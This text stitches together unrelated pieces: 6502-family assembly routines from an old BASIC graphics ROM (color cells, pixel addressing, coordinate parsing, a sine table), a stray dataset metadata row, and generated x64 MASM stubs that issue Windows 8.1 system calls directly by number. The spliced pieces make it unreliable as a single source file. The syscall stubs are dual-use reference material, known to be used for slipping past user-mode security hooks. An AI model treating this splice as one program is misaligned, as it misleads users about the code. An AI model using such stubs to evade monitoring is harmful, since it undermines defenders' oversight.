; GRAPHIC8.SRC
;****************************************************************
; docolr -- set up color for 8x8 charcater cell
; x = row number -- y = column number
;****************************************************************
;
;docolr lda _ldtb2,x ;put address of video ram into grapnt
; sta grapnt
; lda graphic_ldtb1,x ;point to bit mapped color area
; sta grapnt+1
;
; lda colsel ;get current color source selected
;
; bne l306_1 ;branch if NOT background
; lda fg_bg
; bit _graphm ;test if mode = hires
; bpl 25$ ;if so, go set up byte
; rts ;else exit
;
;l306_1 cmp #2
; bne l306_3 ;branch if NOT multi-color 1
;
;l306_2 lda fg_mc1 ;get correct packed colors for multicolor mode.
;25$ and #$0f
; sta z_p_temp_1
; lda (grapnt),y
; and #$f0
; ora z_p_temp_1
; sta (grapnt),y
; rts
;
;l306_3 bcs 40$ ;branch if multicolor 2
;
; lda fg_bg ;here for foreground. get packed colors.
; and #$f0
; sta z_p_temp_1
; lda (grapnt),y ;do foreground
; and #$0f
; ora z_p_temp_1
; sta (grapnt),y
; rts
;
;40$ lda grapnt+1 ;do multicolor 2
; and #3
; ora #>color_ram_hi ;set up to point to high color area
; sta grapnt+1
;
; lda #0 ;put i/o in map
; sta mmu_config_reg
;
; sei
; lda _6510_data_reg
; pha
; and #%11111110 ;point cpu at correct nybble bank
; sta _6510_data_reg
; lda multicolor_2
; sta (grapnt),y
; pla
; sta _6510_data_reg
; cli
; rts
;
;
;
;graphic_ldtb1 ;_ldtb1 adjusted for an org at color_ram_lo
;99$=color_ram_lo
;1$=color_ram_lo+40*1
;2$=color_ram_lo+40*2
;3$=color_ram_lo+40*3
;4$=color_ram_lo+40*4
;5$=color_ram_lo+40*5
;6$=color_ram_lo+40*6
;7$=color_ram_lo+40*7
;8$=color_ram_lo+40*8
;9$=color_ram_lo+40*9
;l306_1=color_ram_lo+40*10
;11$=color_ram_lo+40*11
;12$=color_ram_lo+40*12
;13$=color_ram_lo+40*13
;14$=color_ram_lo+40*14
;15$=color_ram_lo+40*15
;16$=color_ram_lo+40*16
;17$=color_ram_lo+40*17
;18$=color_ram_lo+40*18
;19$=color_ram_lo+40*19
;l306_2=color_ram_lo+40*20
;21$=color_ram_lo+40*21
;22$=color_ram_lo+40*22
;23$=color_ram_lo+40*23
;24$=color_ram_lo+40*24
;
; .byte >99$,>1$,>2$,>3$,>4$,>5$,>6$,>7$,>8$,>9$,>l306_1
; .byte >11$,>12$,>13$,>14$,>15$,>16$,>17$,>18$,>19$
; .byte >l306_2,>21$,>22$,>23$,>24$
;******************************************************************
; getpos - get address in graphic bit map into grapnt
; x = bit offset into byte specified (0-7)
; y = offset to byte within 8x8 character cell
; a = bit mask to the bit (or bits if multicolor mode)
;******************************************************************
;
;getpos jsr divpos ;get xpos/ypos to column/row position
; bcs grprts ;abort if position too large
;
;getps1 tya ;get addr for row (X) and col (Y) in grapnt
; clc
; adc _ldtb2,x ;add column position to low byte offset
; sta grapnt
; lda _ldtb1,x ;get high byte screen address
; adc #0 ;add any carry
; asl grapnt
; rol a
; asl grapnt ;mult by 8 to get offset into 8k area
; rol a
; asl grapnt
; rol a
; sta grapnt+1
;
; lda ypos
; and #07
; tay ;get byte offset into 8x8 char cell
; lda xpos
; bit _graphm
; php
; bpl grpos3 ;skip if not multicolor mode
; asl a ;shift x-pos for multicolor mode
;
;grpos3 and #07
; tax
; lda rbits,x ;get bit mask
; plp
; bpl grprts ;done if not multicolor mode
; inx
; ora rbits,x ;mask for 2 bits if multicolor mode
;grprts rts
;
;rbits .byte $80,$40,$20,$10,$08,$04,$02,$01
;**************************************************************
; divpos -- convert xpos to column number
; convert ypos to row number
; return carry set if either above limits
;**************************************************************
;
;divpos lda xpos+1
; lsr a
; bne l306_2 ;out of bounds if greater than 1
; lda xpos
; ror a
; lsr a ;get column position = xpos/8
; bit _graphm
; bmi l306_1 ;skip if multicolor mode
; lsr a ;divide by 8 if a hires or text mode
;l306_1 tay
; cpy #llen
; bcs l306_2 ;error exit if out of bounds
; lda ypos+1
; bne l306_2 ;out of bounds error if not = 0
; lda ypos
; lsr a
; lsr a ;get row number = ypos/8
; lsr a
; tax
; cmp #nlines ;compare to max number of rows
; rts ;carry clr if okay
;l306_2 sec
; rts
;***************************************************************
; SCALXY - Scale the x & y coordinates found in vwork+x
;***************************************************************
;
;scalxy lda scalem
; beq sclrts ;do nothing if scaling off
;
; lda scale_x
; ldy scale_x+1
; jsr doscal ;scale in the x-direction
;
; lda scale_y
; ldy scale_y+1 ;scale in the y direction
;
;doscal jsr twobyt ;multiply * coordinate
; sta vwork,x
; tya
; inx ;store back into original position
; sta vwork,x
; inx
;sclrts
; rts
;.end
;GRAPHICS9.SRC
;***************************************************************
; DOTWO - Add two 2-byte values if carry clear
; Subtract two 2-byte values if carry set
;***************************************************************
dotwo2
bcc addtw2 ; go do addition
bcs subtw2 ; go do subtraction
dotwo
bcs subtwo ; go do subtraction
;***************************************************************
; ADDTWO - Add vwork+y and vwork+x Result in y/a
;***************************************************************
addtwo
jsr settwo ; put vwrok+y into y/a
addtw2 ; enter here to add y/a to vwork+x
clc
adc vwork,x
pha
tya
adc vwork+1,x
tay
pla
rts
;****************************************************************
; SUBTWO - Subtract vwork+y - vwork+x Result in y/a
;****************************************************************
subtwo
jsr settwo ; move vwork+y into y/a
subtw2 ; enter here with 1st value in y/a
sec
sbc vwork,x
sta tempf1
tya
sbc vwork+1,x
tay
php
lda tempf1
plp
rts
subtwo_savram
lda savram,y ; load value into y,a
pha
lda savram+1,y
tay
pla
sec
sbc savram,x
sta tempf1
tya
sbc savram+1,x
tay
php
lda tempf1
plp
rts
;************************************************************
; SETTWO - Move value in vwork+y into y/a
;************************************************************
settwo
lda vwork,y
pha
lda vwork+1,y
tay
pla
rts
;******************************************************************
; ABSTWO - Get absolute value of vwork+y - vwork+x
; Result in y/a - carry === vwork+y >= vwork+x
;******************************************************************
abstwo ; movspr_to [910809]
jsr subtwo ; subtract vwork+y - vwork+x
abstw2 ; entrance with vwork+y in y/a
bpl absrts ; done if result is positive
invert php
clc
eor #$ff ; invert low byte result and add 1
adc #1
pha
tya
eor #$ff ; invert high byte result
adc #0 ; add back any carry
tay
pla
plp
absrts rts
;****************************************************************
; TWOBYT - Multiply 2 byte fraction in y/a times 2 bytes
; Integer found in vwork+x-reg. Result = y/a
;****************************************************************
twobyt
sty vtemp1 ; save fraction
sta vtemp2
lda vwork,x
ldy vwork+1,x
php ; save sign of integer
jsr abstw2 ; absolute value
sta vwork,x
tya
sta vwork+1,x
lda #0
sta vtemp3 ; initialize result to zero
ldy #16 ; initialize count
l307_1 lsr vtemp1
ror vtemp2
bcc l307_2 ; skip if no bit set
clc
adc vwork,x ; add integer low byte
pha
lda vtemp3
adc vwork+1,x ; add integer high byte to total
sta vtemp3
pla
l307_2 lsr vtemp3 ; divide by 2
ror
dey
bne l307_1 ; loop 16 times - test all bits in 2 bytes
adc #0 ; add back round factor
ldy vtemp3
bcc l307_3
iny
l307_3 plp ; pop sign
bra abstw2 ; return with signed product in y/a
;******************************************************************
; dstpos - move xdest/ydest to xpos/ypos
;******************************************************************
;
;dstpos
; ldy #0
; jsr dstmov
; ldy #2
;dstmov
; lda xdest,y
; sta xpos,y
; lda xdest+1,y
; sta xpos+1,y
; rts
;.end
;GRAPHICS10.SRC
;************************************************************
; incolr -- get color selection parameter into colsel
;************************************************************
;
;incolr
; ldx #1 ;get an optional 1 byte val, def=fg(1)
; jsr chrgot
;incol1
; beq incol2 ;eol, use default
; cmp #','
; beq incol2 ;just ',', use default
; jsr getbyt
; cpx #4 ;must be 0-3
; bcs illval ;..else illegal value
; cpx #2
; bit _graphm ;if hires, must be 0 or 1
; bmi incol2
; bcs illval
;incol2
; stx colsel
; rts
;
;illval
; jmp fcerr ;illegal value
;******************************************************************
; INCORD --- Get X,Y coordinate from input stream into vwork+x
;
; Coordinate may have any of the forms:
; x,y = absolute xpos & absolute ypos
; +/-x,y = relative xpos & absolute ypos
; x,+/-y = absolute xpos & relative ypos
; +/-x,+/-y = relative xpos & relative ypos
; x;y = x-distance at an angle y
;
; Relative and angle distances are relative to current x,ypos.
; Values are scaled to current mode parameters if required.
;******************************************************************
incor2 ; enter here for optional argument
jsr chrgot ; end of line?
beq l308_1 ; yes, use defaults
jsr chkcom
cmp #',' ; is there really an arg?
bne incord ; yes, let'er rip
l308_1 ldy #0 ; set default pos = current pos
l308_2 lda xpos,y
sta vwork,x
inx
iny
cpy #4
bcc l308_2
rts
;incor3 ;enter here for non-optional arg preceded by a comma
; jsr chkcom
incord
stx vtemp4 ; save offset to destination
jsr cordsb ; get 2-byte x-parameter
jsr chrgot
cmp #','
beq docord ; skip ahead if have comma
cmp #';' ; check for semi-colon
+lbne snerr ; missing angle param- show syntax message
jsr chrget ;skip over ' ; '
jsr getwrd ; get 2-byte angle in a,y
sta z_p_temp_1 ; swap a,y
tya
ldy z_p_temp_1
jsr gtang1 ; get sine & cosine values for the angle
ldx vtemp4
lda vwork,x
sta vwork+2,x ; move length to y-parameter
lda vwork+1,x
sta vwork+3,x
; jsr scalxy ;scale the values
lda #$0e
sta vtemp5
clc
ldx vtemp4
l309_1 jsr angmlt ; multiply length * angle
sta vwork,x ; save angle result
tya
sta vwork+1,x
ldy #xpos-vwork
lsr vtemp5
bcc l309_2
ldy #ypos-vwork
l309_2 jsr dotwo ; add/subtract value to current position
sta vwork,x
tya ; save result in destination
sta vwork+1,x
inx
inx
lsr vtemp5
bne l309_1 ; do y-coordinate
clc
rts
docord jsr chrget ; skip over comma
inc vtemp4 ; point to y-destination
inc vtemp4
jsr cordsb ; get y-paramter
; ldx vtemp4
; dex
; dex
; jsr scalxy ;scale the values
ldy #ypos-vwork
ldx vtemp4
inx
inx
docor1 dex
dex
lsr vtemp5
bcc docor2 ; skip if not relative
jsr addtwo ; add to current position
sta vwork,x
tya
sta vwork+1,x
docor2 ldy #xpos-vwork
cpx vtemp4
beq docor1 ; loop to do x-coordinate
clc
rts
;
; CORDSB -- Get the next 2-byte parameter
;
cordsb jsr chrgot ; read character
cmp #plus_token ; check if relative - plus sign
beq l310_1 ; skip if yes
cmp #minus_token
beq l310_1 ; skip if relative - minus sign
clc ; .c=1 if relative coord, .c=0 if absolute
l310_1 rol vtemp5 ; save coord type for later
jsr frmnum
jsr getsad ; get signed 2 byte coordinate (y,a), do rts
ldx vtemp4
sta vwork+1,x ; save 2-byte parameter
tya
sta vwork,x
rts
;.end
;GRAPHICS11.SRC
; ANGVAL -- Table of angle values on 10 degree boundaries
; Values based as fraction of 65536
angval
!text $00,$00 ; sine 00 degrees - .0000
!text $2c,$71 ; sine 10 degrees - .1736
!text $57,$8d ; sine 20 degrees - .3420
!text $80,$00 ; sine 30 degrees - .5000
!text $a4,$8f ; sine 40 degrees - .6428
!text $c4,$19 ; sine 50 degrees - .7660
!text $dd,$b2 ; sine 60 degrees - .8660
!text $f0,$90 ; sine 70 degrees - .9397
!text $fc,$1c ; sine 80 degrees - .9848
!text $ff,$ff ; sine 90 degrees - 1.0000
; INCVAL -- Table of incremental values between 10 degrees
; Values based on fraction of 65536
incval
!text $04,$72 ; 01 - 09 degrees - .01739
!text $04,$50 ; 11 - 19 degrees - .01692
!text $04,$0b ; 21 - 29 degrees - .01592
!text $03,$a8 ; 31 - 39 degrees - .01443
!text $03,$28 ; 41 - 49 degrees - .01252
!text $02,$90 ; 51 - 59 degrees - .01023
!text $01,$e3 ; 61 - 69 degrees - .00762
!text $01,$28 ; 71 - 79 degrees - .00477
!text $00,$63 ; 81 - 89 degrees - .00179
;.end
; ********************************************************************************************
;
; Date Changes
; ==== =======
;
; ********************************************************************************************
| 33.734525 | 100 | 0.375291 |
67b9bbb975c16245a2232c67c52fd8ca7c1746c2 | 131,343 | asm | Assembly | project/ntstub/amd64/6_3_9600_sp0_ssdt_sysenter.asm | mehrdad-shokri/windows-syscall-table | 16542bdcf0add03960a7b0a379af7a59ceb0b822 | [
"BSD-3-Clause"
] | 372 | 2017-06-05T06:58:29.000Z | 2022-03-31T08:26:53.000Z | project/ntstub/amd64/6_3_9600_sp0_ssdt_sysenter.asm | mehrdad-shokri/windows-syscall-table | 16542bdcf0add03960a7b0a379af7a59ceb0b822 | [
"BSD-3-Clause"
] | null | null | null | project/ntstub/amd64/6_3_9600_sp0_ssdt_sysenter.asm | mehrdad-shokri/windows-syscall-table | 16542bdcf0add03960a7b0a379af7a59ceb0b822 | [
"BSD-3-Clause"
] | 105 | 2017-06-05T08:34:18.000Z | 2022-03-11T06:15:58.000Z | ; DO NOT MODIFY THIS FILE DIRECTLY!
; author: @TinySecEx
; ssdt asm stub for 6.3.9600-sp0-windows-8.1 amd64
option casemap:none
option prologue:none
option epilogue:none
.code
; ULONG64 __stdcall NtWorkerFactoryWorkerReady( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtWorkerFactoryWorkerReady PROC STDCALL
mov r10 , rcx
mov eax , 0
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWorkerFactoryWorkerReady ENDP
; ULONG64 __stdcall NtAcceptConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAcceptConnectPort PROC STDCALL
mov r10 , rcx
mov eax , 1
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAcceptConnectPort ENDP
; ULONG64 __stdcall NtMapUserPhysicalPagesScatter( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtMapUserPhysicalPagesScatter PROC STDCALL
mov r10 , rcx
mov eax , 2
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMapUserPhysicalPagesScatter ENDP
; ULONG64 __stdcall NtWaitForSingleObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtWaitForSingleObject PROC STDCALL
mov r10 , rcx
mov eax , 3
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForSingleObject ENDP
; ULONG64 __stdcall NtCallbackReturn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtCallbackReturn PROC STDCALL
mov r10 , rcx
mov eax , 4
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCallbackReturn ENDP
; ULONG64 __stdcall NtReadFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtReadFile PROC STDCALL
mov r10 , rcx
mov eax , 5
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReadFile ENDP
; ULONG64 __stdcall NtDeviceIoControlFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtDeviceIoControlFile PROC STDCALL
mov r10 , rcx
mov eax , 6
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtDeviceIoControlFile ENDP
; ULONG64 __stdcall NtWriteFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtWriteFile PROC STDCALL
mov r10 , rcx
mov eax , 7
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWriteFile ENDP
; ULONG64 __stdcall NtRemoveIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtRemoveIoCompletion PROC STDCALL
mov r10 , rcx
mov eax , 8
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRemoveIoCompletion ENDP
; ULONG64 __stdcall NtReleaseSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtReleaseSemaphore PROC STDCALL
mov r10 , rcx
mov eax , 9
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReleaseSemaphore ENDP
; ULONG64 __stdcall NtReplyWaitReceivePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtReplyWaitReceivePort PROC STDCALL
mov r10 , rcx
mov eax , 10
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplyWaitReceivePort ENDP
; ULONG64 __stdcall NtReplyPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtReplyPort PROC STDCALL
mov r10 , rcx
mov eax , 11
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplyPort ENDP
; ULONG64 __stdcall NtSetInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationThread PROC STDCALL
mov r10 , rcx
mov eax , 12
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationThread ENDP
; ULONG64 __stdcall NtSetEvent( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtSetEvent PROC STDCALL
mov r10 , rcx
mov eax , 13
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetEvent ENDP
; ULONG64 __stdcall NtClose( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtClose PROC STDCALL
mov r10 , rcx
mov eax , 14
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtClose ENDP
; ULONG64 __stdcall NtQueryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryObject PROC STDCALL
mov r10 , rcx
mov eax , 15
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryObject ENDP
; ULONG64 __stdcall NtQueryInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 16
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationFile ENDP
; ULONG64 __stdcall NtOpenKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtOpenKey PROC STDCALL
mov r10 , rcx
mov eax , 17
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenKey ENDP
; ULONG64 __stdcall NtEnumerateValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtEnumerateValueKey PROC STDCALL
mov r10 , rcx
mov eax , 18
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtEnumerateValueKey ENDP
; ULONG64 __stdcall NtFindAtom( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtFindAtom PROC STDCALL
mov r10 , rcx
mov eax , 19
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFindAtom ENDP
; ULONG64 __stdcall NtQueryDefaultLocale( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtQueryDefaultLocale PROC STDCALL
mov r10 , rcx
mov eax , 20
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryDefaultLocale ENDP
; ULONG64 __stdcall NtQueryKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryKey PROC STDCALL
mov r10 , rcx
mov eax , 21
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryKey ENDP
; ULONG64 __stdcall NtQueryValueKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQueryValueKey PROC STDCALL
mov r10 , rcx
mov eax , 22
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryValueKey ENDP
; ULONG64 __stdcall NtAllocateVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtAllocateVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 23
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAllocateVirtualMemory ENDP
; ULONG64 __stdcall NtQueryInformationProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationProcess PROC STDCALL
mov r10 , rcx
mov eax , 24
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationProcess ENDP
; ULONG64 __stdcall NtWaitForMultipleObjects32( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtWaitForMultipleObjects32 PROC STDCALL
mov r10 , rcx
mov eax , 25
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWaitForMultipleObjects32 ENDP
; ULONG64 __stdcall NtWriteFileGather( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_6_3_9600_sp0_windows_8_1_NtWriteFileGather PROC STDCALL
mov r10 , rcx
mov eax , 26
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtWriteFileGather ENDP
; ULONG64 __stdcall NtSetInformationProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtSetInformationProcess PROC STDCALL
mov r10 , rcx
mov eax , 27
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationProcess ENDP
; ULONG64 __stdcall NtCreateKey( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_6_3_9600_sp0_windows_8_1_NtCreateKey PROC STDCALL
mov r10 , rcx
mov eax , 28
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtCreateKey ENDP
; ULONG64 __stdcall NtFreeVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtFreeVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 29
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtFreeVirtualMemory ENDP
; ULONG64 __stdcall NtImpersonateClientOfPort( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtImpersonateClientOfPort PROC STDCALL
mov r10 , rcx
mov eax , 30
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtImpersonateClientOfPort ENDP
; ULONG64 __stdcall NtReleaseMutant( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtReleaseMutant PROC STDCALL
mov r10 , rcx
mov eax , 31
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReleaseMutant ENDP
; ULONG64 __stdcall NtQueryInformationToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationToken PROC STDCALL
mov r10 , rcx
mov eax , 32
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationToken ENDP
; ULONG64 __stdcall NtRequestWaitReplyPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_6_3_9600_sp0_windows_8_1_NtRequestWaitReplyPort PROC STDCALL
mov r10 , rcx
mov eax , 33
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtRequestWaitReplyPort ENDP
; ULONG64 __stdcall NtQueryVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_6_3_9600_sp0_windows_8_1_NtQueryVirtualMemory PROC STDCALL
mov r10 , rcx
mov eax , 34
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryVirtualMemory ENDP
; ULONG64 __stdcall NtOpenThreadToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenThreadToken PROC STDCALL
mov r10 , rcx
mov eax , 35
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenThreadToken ENDP
; ULONG64 __stdcall NtQueryInformationThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtQueryInformationThread PROC STDCALL
mov r10 , rcx
mov eax , 36
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtQueryInformationThread ENDP
; ULONG64 __stdcall NtOpenProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_6_3_9600_sp0_windows_8_1_NtOpenProcess PROC STDCALL
mov r10 , rcx
mov eax , 37
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtOpenProcess ENDP
; ULONG64 __stdcall NtSetInformationFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtSetInformationFile PROC STDCALL
mov r10 , rcx
mov eax , 38
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetInformationFile ENDP
; ULONG64 __stdcall NtMapViewOfSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 );
_6_3_9600_sp0_windows_8_1_NtMapViewOfSection PROC STDCALL
mov r10 , rcx
mov eax , 39
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtMapViewOfSection ENDP
; ULONG64 __stdcall NtAccessCheckAndAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_6_3_9600_sp0_windows_8_1_NtAccessCheckAndAuditAlarm PROC STDCALL
mov r10 , rcx
mov eax , 40
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtAccessCheckAndAuditAlarm ENDP
; ULONG64 __stdcall NtUnmapViewOfSection( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtUnmapViewOfSection PROC STDCALL
mov r10 , rcx
mov eax , 41
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtUnmapViewOfSection ENDP
; ULONG64 __stdcall NtReplyWaitReceivePortEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_6_3_9600_sp0_windows_8_1_NtReplyWaitReceivePortEx PROC STDCALL
mov r10 , rcx
mov eax , 42
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtReplyWaitReceivePortEx ENDP
; ULONG64 __stdcall NtTerminateProcess( ULONG64 arg_01 , ULONG64 arg_02 );
_6_3_9600_sp0_windows_8_1_NtTerminateProcess PROC STDCALL
mov r10 , rcx
mov eax , 43
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtTerminateProcess ENDP
; ULONG64 __stdcall NtSetEventBoostPriority( ULONG64 arg_01 );
_6_3_9600_sp0_windows_8_1_NtSetEventBoostPriority PROC STDCALL
mov r10 , rcx
mov eax , 44
;syscall
db 0Fh , 05h
ret
_6_3_9600_sp0_windows_8_1_NtSetEventBoostPriority ENDP
